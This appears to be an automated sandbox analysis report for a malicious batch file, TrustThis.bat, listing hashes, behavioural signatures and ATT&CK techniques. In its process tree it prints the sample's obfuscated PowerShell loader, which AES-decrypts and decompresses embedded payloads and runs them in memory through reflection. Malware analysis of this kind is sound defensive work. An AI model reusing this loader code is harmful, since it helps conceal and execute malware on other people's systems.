9925507f83ab80df2cd03ad5ffd66571adc3eaf60c6bf136240e58ff29e13893

Analysis

max time kernel
122s
max time network
124s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
08-12-2024 16:40

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General

Target

TrustThis.bat
Size

399KB
MD5

85b6801e12b0ee43cf2560af4de44ce5
SHA1

243e69b236417be977c73eadfbdfd55325e125b7
SHA256

9925507f83ab80df2cd03ad5ffd66571adc3eaf60c6bf136240e58ff29e13893
SHA512

4d792f91e03b70833b51054053a61fabcb11bfb22eb8d47cb19a5268c9633dd50443557b41a56b8ad18def99ab0b1b8e00a3533fec0e89ff668bd4c3ea28b944
SSDEEP

6144:pKLt2bMn672f3rrEQW7064pE67o8kYJ9b+OLDG7hg+2Xr2mpB3bcJ4VLuAFsdrTi:pKCMqW3ZW7nPY3b+G4gI0jVLmVi

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2412	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2412	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2412	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2960 wrote to memory of 2196	2960	cmd.exe	31
PID 2960 wrote to memory of 2196	2960	cmd.exe	31
PID 2960 wrote to memory of 2196	2960	cmd.exe	31
PID 2960 wrote to memory of 2412	2960	cmd.exe	32
PID 2960 wrote to memory of 2412	2960	cmd.exe	32
PID 2960 wrote to memory of 2412	2960	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\TrustThis.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r8/Zl2ecne/3MZcG/uh0q3ioBEhiW/bhw3Tyinq/3G8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nm+LG7aKYHflmvAksVBR6Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ebMMw=New-Object System.IO.MemoryStream(,$param_var); $VCpwn=New-Object System.IO.MemoryStream; $YDZpb=New-Object System.IO.Compression.GZipStream($ebMMw, [IO.Compression.CompressionMode]::Decompress); $YDZpb.CopyTo($VCpwn); $YDZpb.Dispose(); $ebMMw.Dispose(); $VCpwn.Dispose(); $VCpwn.ToArray();}function execute_function($param_var,$param2_var){ $HuWNY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eBYtd=$HuWNY.EntryPoint; $eBYtd.Invoke($null, $param2_var);}$wLVWE = 'C:\Users\Admin\AppData\Local\Temp\TrustThis.bat';$host.UI.RawUI.WindowTitle = $wLVWE;$eihJj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wLVWE).Split([Environment]::NewLine);foreach ($nbHzB in $eihJj) { if ($nbHzB.StartsWith('MXAFqxvpoGvwnekBuzqK')) { $hSQxh=$nbHzB.Substring(20); break; }}$payloads_var=[string[]]$hSQxh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2412-4-0x000007FEF5FDE000-0x000007FEF5FDF000-memory.dmp

Filesize
4KB

Download
memory/2412-7-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2412-6-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/2412-5-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2412-8-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2412-9-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2412-10-0x000007FEF5FDE000-0x000007FEF5FDF000-memory.dmp

Filesize
4KB

Download
memory/2412-11-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download